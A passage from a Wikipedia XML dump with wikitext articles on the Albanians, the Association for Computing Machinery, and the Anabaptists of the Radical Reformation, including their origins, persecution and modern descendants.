Since the occupation by the Ottomans, the majority of Albanians have been [[Islam|Muslim]]. Most of these are [[Sunni]] Muslims but a minority (20% of total Muslims) are [[Bektashi]]. Significant numbers of Albanians are [[Albanian Orthodox Church|Albanian Orthodox]] or [[Roman Catholic Church|Roman Catholic]], and some have no formal religious affiliation. This rich blend of religions has rarely caused religious strife and fanaticism and today people of different religions are intermarrying without it being much of an issue. For most of its history, Albania has had a noticeable Jewish community. Most of this community was saved by the Albanian people during the Nazi occupation [http://www.juedisches-archiv-chfrank.de/kehilot/albania/alban-resc.htm]. The majority of Albanian Jews have left to settle in Israel, but a small number still remains [http://www.amyisrael.co.il/europe/albania/].

===Symbolism===
[[Image:Flag_of_Albania.svg|right|150px|thumb|Albanian flag]]
The [[flag of Albania]] depicts a double-headed [[eagle]] on a red backgound, which was raised by the Albanian national hero [[Gjergj Kastrioti Skanderbeg]] in his Albanian rebellion against the Ottoman Turks. The Albanians are called ''Shqiptarët'' (originally ''Shqyptarët'') in the [[Albanian language]], which freely translates as &quot;The Sons of Eagles&quot;.

==History==
The Albanians are descendents of ancient Balkan people, but the exact identification is still under debate, see [[Origin of Albanians]]. Most historians and linguists support either an [[Illyrians|Illyrian]] or [[Daco]]-[[Thracian]] origin. They were first mentioned in the Balkans in 1043 AD. [[Islam]] replaced [[Christianity]] as the majority religion during the period of [[Ottoman Empire|Ottoman]] Turkish rule from the [[15th century]] until 1912, though [[Eastern Orthodoxy|Eastern Orthodox Christianity]] and [[Catholicism|Roman Catholicism]] are also practiced. Among the poorest of Europe's nationalities, in the latter half of the [[20th century]] Albanians experienced the highest rate of natural population growth of any of [[Europe]]'s major indigenous ethnic groups, increasing their numbers from 1.5 million around 1900 and fewer than 2.5 million in 1950.

==Ethnic Albanians==
Albanian is also a term often given to what would otherwise be called an ethnic Albanian. This is usually someone who is considered by himself or others to be Albanian or of Albanian descent. Several distinguishing characteristics might be:

* Cultural connection with [[Culture of Albania|Albanian culture]]
* Speaking the [[Albanian language]]
* Having ancestors who lived in Albania or an area out of which the current Albanian state was formed (i.e. the occupied lands that were part of the [[Ottoman Empire]])

There are ethnic Albanian minorities in several [[Europe]]an countries, as well as in the [[United States]], [[Canada]], [[Australia]], [[Russia]] and  [[Ukraine]].

==Albanian Nationalism==
Both Kosovo (a [[Serbia]]n province though governed since June 1999 by [[UNMIK]], backed by [[KFOR]], a [[NATO]]-led international force) and western Macedonia have in recent years seen armed movements ([[Kosovo Liberation Army]], [[UCPMB]], [[Macedonian NLA]]) aiming either for independence, greater autonomy, or increased human and political rights.

The fate of Kosovo remains uncertain owing to the reluctance of the Albanian majority to contemplate a restoration of Serbian sovereignty and of the [[United Nations]] and NATO to separate the territory definitively from [[Serbia]] in contravention of [[:Wikisource:UN Security Council Resolution 1244|UN Security Council Resolution 1244]] from 1999.

The situation in Macedonia seems to have been resolved by giving the Albanian minority greater government representation and the right to use the [[Albanian language]] in education and government.

==See also==
*[[Demographics of Albania]]
*[[History of Albania]]
*[[History of the Republic of Macedonia]]
*[[Kosovo war]]
*[[List of Albanians]]
*[[List of Albanian-Americans]]

==External links==
*[http://www.albanian.com Home of Albanians Online]

[[Category:Ethnic groups in Albania]]
[[Category:Ethnic groups in Europe]]
[[Category:Ethnic groups in Kosovo]]
[[Category:Ethnic groups in Macedonia]]
[[Category:Ethnic groups in Montenegro]]
[[Category:Ethnic groups in Serbia]]
[[Category:Indo-European peoples]]

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The '''Association for Computing Machinery''', or '''ACM''', was founded in [[1947]] as the world's first scientific and educational [[computing]] society.  Its membership is currently around 78,000.  Its headquarters are in [[New York City]].

== Activities ==
ACM is organized into over 170 local chapters and 34 [[special interest group]]s ([[SIG]]s), through which it conducts most of its activities.  Additionally, there are over 500 college and university [http://www.acm.org/chapters/stu/ chapters]. The first student chapter was founded in 1961 at the [[University of Louisiana at Lafayette]].

Many of the SIGs, like [[ACM SIGGRAPH|SIGGRAPH]], [[SIGPLAN]] and [[SIGCOMM]], sponsor regular conferences which have become famous as the dominant venue for presenting new innovations in certain fields.  The SIGs also publish a large number of specialized journals, magazines, and newsletters.

ACM also sponsors other computer science related events such as the worldwide [[ACM International Collegiate Programming Contest]] (ICPC), and has sponsored some other very mentionable events such as the chess match between Garry Kasparov and the [[IBM Deep Blue]] computer.

== Services ==
ACM Press publishes a prestigious academic journal, 
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''[[Journal of the ACM]]'', and general magazines for computer professionals, ''[[Communications of the ACM]]'' and ''[[ACM Queue|Queue]]''.  Additionally, it publishes the most popular student computing journal in the country, [[ACM Crossroads]] as well as the prestigious computer graphics journal ''[[ACM Transactions on Graphics]]''. Many of the great debates in the history of computing have taken place in the pages of ''Communications.'' Examples include the famous &quot;[[GOTO]] considered harmful&quot; letter, the issue of what to call the then-fledgling field of [[computer science]], and the issue of changing ACM's name (since the &quot;machinery&quot; in question is no longer the size of a house and is now measured in micrometres).  All three attempts at changing ACM's name have failed.

ACM has made almost all of its publications available online at its [http://portal.acm.org/dl.cfm Digital Library] and also has a [http://portal.acm.org/guide.cfm Guide to Computing Literature]. It also offers insurance and other services to its members.

== Digital Library ==
ACM has created a digital library where it has made all of its publications available. ACM’s digital library is the world’s largest collection of information on computing machinery and contains an archive of journals, magazines, conference proceedings online, and the recent issues of ACM’s publications. Online services include a forum called Ubiquity and Tech News digest, both containing the latest information about the IT world.

== Competition ==
ACM's primary competitor is the [[IEEE Computer Society]].  It is difficult to generalize accurately about the distinction between the two, but ACM focuses on theoretical [[computer science]] and end-user applications while IEEE focuses more on hardware and standardization issues.  Another blunt way to state the difference is that ACM is for [[computer science|computer scientists]] and IEEE is for [[electrical engineering|electrical engineers]], although the largest IEEE subgroup is its Computer Society.  Of course, there is significant overlap between the two organizations, and they occasionally cooperate on projects like developing computer science curricula.

== Special Interest Groups ==
* [[SIGGRAPH]]
* [[SIGPLAN]]
* [[SIGCOMM]]
* [[SIGKDD]]


== Leadership ==
The President of the ACM for 2004&amp;ndash;2006 is [[David A. Patterson]] of the [[University of California, Berkeley]].

ACM is led by a Council consisting of the President, Vice-President, Treasurer, Past President, SIG Governing Board Chair, Publications Board Chair, three representatives of the SIG Governing Board, and seven Members-At-Large.  This institution is often referred to simply as &quot;Council&quot; in ''Communications of the ACM''.

== Infrastructure ==

ACM has four “Boards” that make up various committees and subgroups, to help Headquarters staff maintain quality services and products. These boards are as follows:

# Publications
# SIG Governing Board
# Education
# Membership Services Board

== ACM's Committee on [[Women in Computing]] ==
ACM's committee on women in computing is set up to support, inform, celebrate, and work with women in computing. Dr. [[Anita Borg]] was a great supporter of ACM-W. ACM-W provides various resources for women in computing as well as high school girls interested in the field. ACM-W also reaches out internationally to those women who are involved and interested in computing.

== See also ==
* [[Timeline of computing 750 BC-1949|Timeline of computing (750 BC &amp;ndash; 1949)]]
* [[ACM Classification Scheme]]
* [[Grace Murray Hopper Award]], awarded by the ACM
* [[Turing Award]]
* [[Artificial Intelligence]]
* [[Franz Alt (mathematician)|Dr. Franz Alt]], former president.
* [[ACM Crossroads]], one of its magazines
* [[ACM Transactions on Graphics]], one of the journals its publishes.

== External links ==
* [http://www.acm.org/ ACM official website]
* [http://portal.acm.org/ ACM portal] for publications

[[Category:ACM]]
[[Category:American organizations]]
[[Category:Computer science organizations]]
[[Category:Computer-related organizations]]
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[[Category:International nongovernmental organizations]]
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    <title>Anabaptist</title>
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      <text xml:space="preserve">'''Anabaptists''' ([[Greek language|Greek]] ''ana''+''baptizo'' &quot;re-baptizers&quot;, [[German language|German]]: '''Wiedertäufer''') were [[Christianity|Christian]]s of the [[Radical Reformation]]. The term was coined by critics, who objected to the Anabaptist practice of rebaptizing adults who had previously been baptized as infants. Anabaptists believed [[infant baptism]] was not valid. Various groups at various times have been called ''Anabaptist'', but this article focuses primarily on the ''Anabaptists'' of [[16th century]] [[Europe]].

[[Image:Thomas Muentzer.jpg|thumb|right|175px|[[Thomas Muentzer]] was one of the founders of the '''Anabaptist''' movement.]]

==Designation and definition==
The present concept and idea of ''Anabaptism'' or ''rebaptism'' has existed at least since the [[2nd century]], and some Anabaptists also point to the [[1st century]] example of the [[Apostle Paul]] in Acts chapter 19. Montanus, the [[Montanist]]s, and [[Tertullian]] (2nd and 3rd centuries) denied [[infant baptism]], practiced [[believers baptism|believer's baptism]], and ''rebaptized'' those baptized by heretics. The [[Donatists]] ([[4th century]]) re-baptized those who had been baptized by bishops who were [[traditors]], or who were from churches stained by fellowship with ''traditors''{{ref|traditor}}. Anabaptists (rebaptizers) were made criminals under the [[code of Justinian]] (A.D. [[529]]). With anti-trinitarianism, it was one of two 'heresies' or schisms,  punishable by death because of its political implications.

Their enemies and opposers gave Anabaptists their name; it is a term that means &quot;rebaptizers.&quot; Nevertheless, the Anabaptists did not think of believer's baptism as &quot;rebaptism&quot;. They did not recognize infant baptism as properly administered the first time. Though the main Anabaptist groups disagreed with few important Protestant doctrines, even the Protestants called them heretics. Zwingli called them Wiedertäufer (Dutch, ''Wederdooper''; Latin, ''Anabaptistae''), ''Täufer'' (Dutch, ''Dooper'' or ''Doopsgezinden''), and ''Catabaptistae'' (drowners{{ref|catab}}). Luther called them ''Schwärmer'' (fanatics, enthusiasts). They have also been known as ''Bolsheveki'' and &quot;''Stepchildren of the Reformation''&quot;. The most common names the Anabaptists used for themselves were brethren, believers and Christians.

The word Anabaptism may be used to describe a Protestant group baptizing Christians who were baptized in infancy and/or who come to them from other bodies, any of the 16th century &quot;radical&quot; dissenters, or the denominations descending from the followers of [[Menno Simons]]. The use of the term Anabaptism does not necessarily imply claims to uniformity between the groups thus denominated. Today the descendants of the [[16th century]] European movement (particularly the [[Amish]], [[Hutterite]]s, &amp; [[Mennonite]]s) are the most common bodies referred to as Anabaptist. Yet other bodies (such as the early English Baptists) were also referred to by their enemies as Anabaptists, and are clearly Anabaptists in the generally accepted sense of the term. The majority of [[Baptist]]s further engage in a practice others consider &quot;rebaptizing&quot; in that they usually ''re''baptize even adult believers who were baptized by some mode other than immersion or who had not had a &quot;believers' baptism&quot;. Christian church historians generally believe that there is no historical continuity between anabaptists in the first few centuries of Christianity and later anabaptist groups.

==Anabaptist origins==
===Forerunners===
Though the majority opinion is that Anabaptists began with the Radical Reformers in the 16th century, certain people and groups may still legitimately be considered their forerunners. [[Peter Chelcicky]], [[15th century]] [[Bohemia]]n ''Reformer'', taught most of the beliefs considered integral to Anabaptist theology. Medieval antecedents may include the ''Brethren of the Common Life'', the [[Hussite]]s, and some forms of monasticism. The [[Waldensian]]s also represent a faith similar to the Anabaptists.

In the following points Anabaptists resembled the medieval dissenters:
# Some followed [[Menno Simons]] in teaching that Jesus did not take the flesh from his mother, but either brought his body from heaven or had one made for him by the Word.  Some even said that he passed through his mother, as water through a pipe, into the world.  In pictures and sculptures of the 15th century and earlier, we often find represented this idea, originated by [[Marcion]] in the [[2nd century]].  The Anabaptists were accused of denying the [[Incarnation]] of Christ: a charge that Menno Simons repeatedly rejected. 
# They condemned oaths, and also the reference of disputes between believers to law-courts. 
# The believer must not bear arms or offer forcible resistance to wrongdoers, nor wield the sword.  No Christian has the [[jus gladii]]. 
# Civil government (i.e. &quot;[[Caesar (title)|Caesar]]&quot;) belongs to the world.  The believer, who belongs to God's kingdom, must not fill any office, nor hold any rank under government, which is to be passively obeyed. 
# Sinners or unfaithful ones are to be excommunicated, and excluded from the sacraments and from intercourse with believers unless they repent, according to Matt.18:15 seq.  But no force is to be used towards them. 

Some sects calling themselves [[Spirituales]] or [[Perfecti]] also held that the baptized cannot sin, a very ancient tenet. 

They seem to have preserved among them the primitive manual called the Teaching of the Apostles, for Bishop Longland in [[England]] condemned an Anabaptist for repeating one of its maxims &quot;that alms should not be given before they did sweat in a man's hand.&quot; This was between 1518 and 1521.

===Views of origins===
Research on the origins of the Anabaptists has been tainted both by the attempts of their enemies to slander them, and the attempts of their friends to vindicate them. It was long popular to simply lump all Anabaptists as Munsterites and radicals associated with the [[Zwickau]] Prophets, [[Jan Matthys]], [[John of Leiden]] (also Jan Bockelson van Leiden, Jan of Leyden), and [[Thomas Muentzer]]. Those desiring to correct this error tended to over-correct and deny all connections between the larger Anabaptist movement and this most radical element.

The modern era of Anabaptist historiography arose with the work of Roman Catholic scholar [[Carl Adolf Cornelius]]' publication of ''Die Geschichte des Münsterischen Aufruhrs'' in 1855. Baptist historian [[Albert Henry Newman]] (1852-1933), whom Bender said occupied &quot;first position in the field of American Anabaptist Historiography&quot;, made a major contribution with his ''A History of Anti-Pedobaptism''. Though a number of theories exist concerning origins, the three main ideas are that,

# Anabaptists began in a single expression in Zürich and spread from there (Monogenesis), 
# Anabaptists began through several independent movements ([[polygenism|polygenesis]]), and 
# Anabaptists are a continuation of New Testament Christianity (apostolic succession or church perpetuity).   

====Monogenesis====
A number of scholars (e.g. Bender, Estep, Friedmann) have seen all the Anabaptists as rising out of the Swiss Brethren movement of [[Conrad Grebel]], [[Felix Manz]], [[Georg Blaurock]], et al. The older view among Mennonite historians generally held that Anabaptism had its origins in [[Zürich]], and that the Anabaptism of the Swiss Brethren was transmitted to South Germany, Austria, the Netherlands, and North Germany, where it developed into its various branches. The monogenesis theory usually rejects the Münsterites and other radicals from the category of true Anabaptists. In this view the time of origin is [[January 21]], [[1525]], when Grebel baptized Georg Blaurock, and Blaurock baptized other followers. This remains the most popular single time posited for the establishment of Anabaptism. But in the last quarter of the [[20th century]], Deppermann, Packull, and others suggested that [[February 24]], [[1527]] at Schleitheim is the proper date of the origin of Anabaptism. This correlates with the following polygenesis theory.

====Polygenesis====
[[James M. Stayer]], [[Werner O. Packull]], and [[Klaus Deppermann]] disputed the idea of a single origin of Anabaptists in a 1975 essay entitled &quot;From Monogenesis to Polygenesis&quot;. That article, emphasizing distinctive characteristics and distinct sources, has become a widely accepted treatment of the plural origins of Anabaptism. According to these authors, South German-Austrian Anabaptism &quot;was a diluted form of [[Rhineland]] mysticism,&quot; Swiss Anabaptism &quot;arose out of Reformed [[congregationalism]]&quot;, and Dutch Anabaptism was formed by &quot;Social unrest and the apocalyptic visions of [[Melchior Hoffman]]&quot;. Pilgram Marpeck's ''Vermanung'' of 1542 was deeply influenced by the ''Bekenntnisse'' of 1533 by Münster theologian [[Bernhard Rothmann]]. The Hutterites used Melchior Hoffman's commentary on the Apocalypse shortly after he wrote it. [[David Joris]], a disciple of Hoffman, was the most important Anabaptist leader in the Netherlands before 1540. Grete Mecenseffy and Walter Klaassen established links between Thomas Muentzer and Hans Hut, and the work of Gottfried Seebaß and Werner Packull clearly showed the influence of Thomas Muentzer on the formation of South German Anabaptism. Steven Ozment's work linked [[Hans Denck]] and [[Hans Hut]] with Thomas Muentzer, [[Sebastian Franck]], and others. Calvin Pater has shown that [[Andreas Karlstadt]] influenced Swiss Anabaptism in areas including his view of Scripture, doctrine of the church, and views on baptism.

====Apostolic succession====
{{main|Theology of Anabaptism}}
Another theory is that the 16th century Anabaptists were part of an [[apostolic succession]] of churches (or ''church perpetuity'') from the time of Christ. According to this idea there had been a continuity of small groups outside the [[Roman Catholic Church]] from A.D. [[30]] to 1525 (which continues also to the present). Proponents of this view point out many common expressions of belief in these Catholic dissenters. The opponents of this theory emphasize that these non-Catholic groups differed from each other, that they held some heretical views, and/or that they had no connection with one another. This view is held by some Baptists, some Mennonites, and a number of &quot;true church&quot; movements.{{ref|true}} The writings of [[John T. Christian]], [[New Orleans Baptist Theological Seminary]] professor, contain perhaps the best scholarly presentation of this successionist view. Somewhat related to this is that the Anabaptists are of Waldensian origin. Some hold the idea that the Waldenses are part of the apostolic succession, while others simply believe they were an independent group out of whom the Anabaptists arose. Estep asserts &quot;the Waldenses disappeared in Switzerland a century before the rise of the Anabaptist movement.&quot; Ludwig Keller, Thomas M. Lindsay, H. C. Vedder, Delbert Grätz, and Thieleman van Braght all held, in varying degrees, the position that the Anabaptists were of Waldensian origin.

==Types of Anabaptists==
It is beneficial to recognize different types among the Anabaptists, although these categorizations tend to vary with the scholar's viewpoint on origins. Estep claims that in order to understand Anabaptism, one must &quot;distinguish between the Anabaptists, inspirationists, and rationalists.&quot; He classes the likes of Blaurock, Grebel, Hübmaier, Manz, Marpeck, and Simons as Anabaptists. He groups Muentzer, Storch, et al. as inspirationists, and anti-trinitarians such as [[Michael Servetus]], [[Juan de Valdes|Juan de Valdés]], [[Sebastian Castellio]], and [[Faustus Socinus]] as [[rationalism|rationalists]]. Mark S. Ritchie follows this line of thought, saying, &quot;The Anabaptists were one of several branches of 'Radical' reformers (i.e. reformers that went further than the mainstream Reformers) to arise out of the Renaissance and Reformation. Two other branches were Spirituals or Inspirationists, who believed that they had received direct revelation from the Spirit, and rationalists or anti-Trinitarians, who rebelled against traditional Christian doctrine, like Michael Servetus.&quot;

Those of the polygenesis viewpoint use ''Anabaptist'' to define the larger movement, and include the inspirationists and rationalists as true Anabaptists. James M. Stayer used the term ''Anabaptist'' for those who ''rebaptized'' persons already baptized in infancy. Walter Klaassen was perhaps the first Mennonite scholar to define ''Anabaptists'' that way in his 1960 Oxford dissertation. This represents a rejection of the previous standard held by Mennonite scholars such as Bender and Friedmann.

Another method of categorization acknowledges regional variations, such as Swiss Brethren (Grebel, Manz), Dutch Anabaptism (Menno, Philips), and South German Anabaptism (Hübmaier, Marpeck).

Historians and sociologists have made further distinctions between radical Anabaptists, who were prepared to use violence in their attempts to build a [[New Jerusalem]], and their pacifist brethren, later broadly known as [[Mennonites]]. Radical Anabaptist groups included the Münsterites, who occupied and held the German city of [[Münster]] in 1534-[[1535]], and the [[Batenburgers]], who persisted in various guises as late as the 1570s.

==Zwickau prophets and the Peasants' War==
{{main articles|[[Thomas Muentzer]] and [[Peasants' War]]}}
On [[December 27]], [[1521]], [[Zwickau prophets|three &quot;prophets&quot;]], influenced by and in turn influencing [[Thomas Muentzer]], appeared in [[Wittenberg]] from [[Zwickau]]: Thomas Dreschel, Nicolas Storch and Mark Thomas Stübner. The crisis came in the so-called Peasants' War in South [[Germany]] in 1525. In its origin a revolt against feudal oppression, it became, under the leadership of Muentzer, a war against all constituted authorities, and an attempt to establish by revolution an ideal Christian commonwealth, with absolute equality and the community of goods.

==The Münster Rebellion==
{{main articles|[[Münster Rebellion]] and [[Münster]]}}
A second and more determined attempt to establish a theocracy was made at Münster in [[Westphalia]] (1532-1535), led by [[Bernhard Rothmann]], [[Bernhard Knipperdolling]], [[Jan Matthys]] and [[John of Leiden]]. 

==Miscellany==
The first leaders of the movement in Zürich &amp;mdash; [[Conrad Grebel]], [[Felix Manz]], [[George Blaurock]], [[Balthasar Hubmaier|Balthasar Hübmaier]] &amp;mdash; were men learned in Greek, Latin and Hebrew.

In English history frequent reference is made to the Anabaptists during the [[16th century|16th]] and [[17th century | 17th centuries]], but there is no evidence that any considerable number of native Englishmen ever adopted the principles of the Münster sect.  Many of the followers of Muentzer and Bockelson seem to have fled from persecution in [[Germany]] and the Netherlands to be subjected to a [[persecution]] scarcely less severe in England.  The mildest measure adopted towards these refugees was banishment from the kingdom, and a large number suffered at the stake. Their [[Christology]] and negative attitude towards the state rather indicate, as in the case of [[John Wyclif]], [[Jan Hus]] and the [[Fraticelli]] ([[Brethren]]), an affinity to the [[Cathar|Cathars]] and other medieval sects. But this affiliation is hard to establish.

The earliest Anabaptists of Zürich allowed that the [[Picardi]] or [[Waldensian | Waldensians]] had, in contrast with [[Rome]] and the [[Reformation | Reformers]], truth on their side, yet did not claim to be in their succession; nor can it be shown that their adult baptism derived from any of the older Baptist sects, which undoubtedly lingered in parts of Europe.  Later on Hermann Schyn claimed descent for the peaceful Baptists from the Waldensians, who certainly, as the records of the Flemish [[inquisition]], collected by P. Fredericq, prove, were widespread during the 15th century over north [[France]] and Flanders.  It would appear from the way in which Anabaptism sprang up everywhere independently, as if more than one ancient sect took in and through it a new lease of life.  [[Albrecht Ritschl|Ritschl]] discerned in it the leaven of the Fraticelli or [[Franciscan Tertiaries]].

In [[Moravia]], if what Alexander Rost related be true, namely that they called themselves [[Apostel | Apostolici]], and went barefooted healing the sick, they must have at least absorbed into themselves a sect of whom we hear in the 12th century in the north of Europe as deferring baptism to the age of 30, and rejecting oaths, prayers for the dead, relics and invocation of saints.

The Moravian Anabaptists, says Rost, went bare-footed, washed each other's feet (like the Fraticelli), had all goods in common, worked everyone at a handicraft, had a spiritual father who prayed with them every morning and taught them, dressed in black and had long graces before and after meals. Zeiler also in his ''German Itinerary'' (1618) describes their way of life.  [[The Lord's Supper]], or bread-breaking, was a commemoration of the [[Passion]], held once a year. They sat at long tables, the elders read the words of institution and prayed, and passed a loaf round from which each broke off a bit and ate, the wine being handed round in flagons. Children in their colonies were separated from the parents, and lived in the school, each having his bed and blanket. They were taught reading, writing and summing, cleanliness, truthfulness and industry, and the girls married the men chosen for them.

On [[April 12]], [[1549]], certain [[London]] Anabaptists brought before a commission of bishops asserted:

&lt;blockquote&gt;&quot;That a man regenerate could not sin; that though the outward man sinned, the inward man sinned not; that there was no [[Trinity]] of Persons; that [[Christ]] was only a holy prophet and not at all God; that all we had by Christ was that he taught us the way to heaven; that he took no flesh of the Virgin, and that the baptism of infants was not profitable.&quot; &lt;/blockquote&gt;

One of the most notable features of the early Anabaptists is that they regarded any true religious reform as involving social amelioration. The socialism of the 16th century was necessarily Christian and Anabaptist. [[Lutheranism]] was more attractive to grand-ducal patriots and well-to-do burghers than to the poor and oppressed and disinherited. The Lutherans and Zwinglians never converted the Anabaptists.  In Austrian-controlled territories, the [[Jesuits]] had somewhat better success in persuading or coercing many [[Hutterites]] to rejoin the Roman Catholic Church.

Social scientist Robert Cialdini (see [[Mind Control]]) notes that early Anabaptists were unusual among doomsday groups because rather than disintegrating in the face of ''false'' doomsday predictions, Anabaptists were able to grow and prosper through extraordinarly effective recruitment efforts.  He notes that: &lt;blockquote&gt; &quot;When the Dutch Anabaptists saw their prophesied year of destruction, 1533, pass uneventfully, they became rabid seekers after converts, pouring unprecedented amounts of energy into the cause.  One extraordinarily eloquent missionary, Jakob van Kampen, is reported to have baptized 100 persons in single day.  So powerful was the snowballing social evidence in support of the Anabaptist position that it rapidly  over-whelmed the ''disconfirming'' physical evidence and turned two-thirds of Holland's great cities into adherents&quot;. &lt;/blockquote&gt;  He theorizes that groups of 'true believers' suddenly shift from secret conspirators to zealous missionaries precisely when direct disconfirmation of their beliefs renders them ''least'' convincing to ''outsiders'' because publicity and recruitment provide the only remaining hope, that, through ''social'' evidence, &quot;their threatened but treasured beliefs would become ''truer''&quot;.  Few contemporary doomsday groups are as successful as these early Anabaptists were at actually ''gaining'' new converts in the face of false physical evidence.

==Persecutions and migrations==
[[Image:Dirk.willems.rescue.ncs.jpg|thumb|Dirk Willems saves his pursuer.]]

Much historic [[Roman Catholic]] and [[Protestant]] literature has represented the Anabaptists as groups who preached false doctrine and led people into apostasy. That negative historiography remained popular for about four centuries. The Catholics and Protestants alike persecuted the Anabaptists, resorted to torture and other types of physical abuse, in attempts both to curb the growth of the movement and bring about the ''salvation'' of the heretics (through recantation). The Protestants under [[Ulrich Zwingli|Zwingli]] were the first to persecute the ''Reformation'' Anabaptists. Felix Manz became the first martyr in 1527. On [[May 20]], 1527, Catholic authorities executed Michael Sattler. King Ferdinand declared drowning (called the ''third baptism'') &quot;the best antidote to Anabaptism&quot;. It has been said that a &quot;16th century man who did not drink to excess, curse, or abuse his workmen or family could be suspected of being an Anabaptist and thus persecuted.&quot; [http://www.ctlibrary.com/6274] Estep estimates that thousands died in Europe in the sixteenth century.

Thieleman J. van Braght's ''[[Martyrs Mirror]]'' describes the persecution and execution of thousands of Anabaptists, such as [[Dirk Willems]], in Austria, Belgium, Germany, the Netherlands, Switzerland, and other parts of Europe between 1525 and 1660. Continuing persecution in [[Europe]] was largely responsible for the mass immigrations to North America by Amish, Hutterites, and Mennonites.

==Anabaptists today==
Several existing denominational bodies may be legitimately regarded as the successors of the Continental Anabaptists &amp;mdash; Amish, Baptists, Brethren, Hutterites, Mennonites, Bruderhof Communities and Quakers. Some writers prefer to distinguish institutionally lineal descendants ([[Amish]], [[Hutterite]]s, [[Mennonite]]s) and spiritual descendants ([[Baptist]]s, [[Brethren]], the [[Bruderhof Communities|Bruderhof Communities]], and [[Seventh Day Adventists]]; the [[Religious Society of Friends|Quakers]] share the distinction of also being a [[peace church]]). Nevertheless, some historical connections have been demonstrated for all of these spiritual descendants, though perhaps not as clearly as the notable institutionally lineal descendants. However, although many see the more well known Anabaptist groups ([[Amish]], [[Hutterites]] and [[Mennonites]]) as ethnic groups, the Anabaptist bodies of today are largely no longer ethnically descended from the Continental Anabaptists. Total membership in Mennonite, [[Brethren in Christ]] and related churches totals 1,297,716 as of 2003 with about 60 percent in Africa, Asia and Latin America.{{ref|mwc}}

One of the historical Anabaptist doctrines &amp;mdash; that people must personally, volitionally, and consciously relate to God &amp;mdash; is a doctrine found among much of Evangelical Protestantism, even though these churches may not be historically linked to the Anabaptists.

Today in response to post-modernism, what some theologians are calling 'the end of Christendom' and the global ecological crisis, some churches and theologians are drawing upon the Anabaptist traditions as a paradigm for Christian spirituality in the 21st century.  This movement, sometimes referred to as 'neo-anabaptism', includes theologians and communities from wide diversity of Christian denominations which are not part of the Historic [[Peace Churches]], yet who see in the witness of the 16th century radical reformers an authentic witness to early Christianity and to the life and teachings of Christ.  Scholars who are sometimes identified with this line of thinking include [[Stanley Hauerwas]], Nancey Murphy, Lee Camp, Richard Hays, Craig A. Carter, James McClendon, and Michael Cartwright.  

''[[Sojourners]]'' magazine editor [[Jim Wallis]] has said that Mennonite Theologian [[John H. Yoder]] &quot;inspired a whole generation of Christians to follow the way of Jesus into social action and peacemaking.&quot;  The neo-anabaptist communities and theologians are also a direct result of this legacy. Neo-Anabaptist communities are often identifiable by their desire to live as a prophetic alternative to larger society through their commitment to Christ’s [[Sermon on the Mount]] as normative for the Christian life when empowered by the [[Holy Spirit]]. Outworkings of this spirituality include simple yet joyful lifestyle, peace and justice making, the practice of [[nonviolence]], communal living and the voluntary sharing of goods, particularly with those in need.

==The Anabaptist heritage==
*Freedom of religion
*[[Priesthood of all believers]]
*Bible as the sole rule of faith and practice
*Pacifism 
*Ordinances, not sacraments

All those who hold the idea of a free church and freedom of religion (sometimes called separation of church and state) are greatly indebted to the Anabaptists. When it was introduced by the Anabaptists in the 15th and 16th centuries, religious freedom independent of the state was a radical idea, and unthinkable to both clerical and governmental leaders. Religious liberty was equated with anarchy and Peter Kropotkin traces the birth of anarchist thought in Europe to these early Anabaptist communities. (&quot;Anarchism&quot; from The Encyclopaedia Britannica, 1910 By Peter Kropotkin)

According to Estep, &quot;Where men believe in the freedom of religion, supported by a guarantee of separation of church and state, they have entered into that heritage. Where men have caught the Anabaptist vision of discipleship, they have become worthy of that heritage. Where corporate discipleship submits itself to the New Testament pattern of the church, the heir has then entered full possession of his legacy.&quot;

[[genealogy|Genealogists]] are also indebted to the Anabaptists, because Anabaptism was part of the cause for Protestant churches adopting the confirmation service, and baptismal registers came into being.

==See also==
* [[Peace churches]]
* [[Christian anarchism]]
* [[Radical Reformation]]
* [[Protestant Reformation]]
* [[Shunning]]
* [[Simple living]]
* [[Abecedarians]]
* [[Ambrosians]]
* [[Christian Peacemaker Teams]]

==Footnotes==
#{{note|traditor}}''Traditors'' were those who, under persecution, handed over the Scriptures to pagan authorities or recanted their faith. 
#{{note|catab}}''Catabaptist'' is defined as &quot;drowners&quot; or &quot;immersers&quot;, but also as &quot;opponents of baptism&quot; (infant baptism).
#{{note|true}}A &quot;''true church''&quot; movement is one in which the participants of a movement believe their movement represents the true faith and order of New Testament Christianity. Most only assert this in relation to their church doctrines, polity, and practice (e.g., the ordinances), while a few hold they are the only true Christians. Some examples of ''Anabaptistic'' true church movements are the [[Landmark Baptist Church|Landmark Baptists]] and the [[Church of God in Christ, Mennonite]]. The [[Church of God (Charleston, Tennessee)]], the Stone-Campbell [[Restoration Movement|restoration movement]], and others represent a variation in which the &quot;true church&quot; apostasized and was restored, in distinction to this idea of apostolic or church succession.
#{{note|mwc}}[[Mennonite World Conference]] [http://www.mwc-cmm.org/Directory/mbictotal.html 2003 Mennonite &amp; Brethren in Christ World Membership]

==References==
*''A History of Anti-Pedobaptism, From the Rise of Pedobaptism to A. D. 1609'', by Albert H. Newman ISBN 1579785360 
*''Anabaptists and the Sword'', by [[James M. Stayer]] ISBN 0872910814
*''An Introduction to Mennonite History'', by Cornelius J. Dyck ISBN 0836136209
*''Covenant and Community: the Life and Writing of Pilgram Marpeck'', by William Klassen
*''German Peasants' War &amp; Anabaptist Community of Goods'', by [[James M. Stayer]] ISBN 0773508422
*''Hutterite Beginnings: Communitarian Experiments During the Reformation'', by Werner O. Packull ISBN 0801850487
*''Mennonite Encyclopedia'', Harold S. Bender, Cornelius J. Dyck, Dennis D. Martin, Henry C. Smith, et al., editors ISBN 0836110188
*''Revelation &amp; Revolution: Basic Writings of Thomas Muntzer'', by Michael G. Baylor ISBN 0934223165
*''The Anabaptist Story'', by William R. Estep; ISBN 0802815944
*''The Anabaptist Vision'', by Harold S. Bender; ISBN 0836113055
*''The Bloody Theater or Martyrs Mirror'', by Thieleman J. van Braght; ISBN 083611390X
*''The Pursuit of the Millennium'', by Norman Cohn; ISBN 0195004566
*''The Reformers and their Stepchildren'', by Leonard Verduin; ISBN 0801092841
*''The Tailor King: The Rise and Fall of the Anabaptist Kingdom of Munster'', by Anthony Arthur ISBN 0312205155

==External links==
* {{cite web | title=Anabaptism | work=Global Anabaptist Mennonite Encyclopedia Online | url=http://www.gameo.org/encyclopedia/contents/a533me.html | accessdate=December 15 | accessyear=2005}}
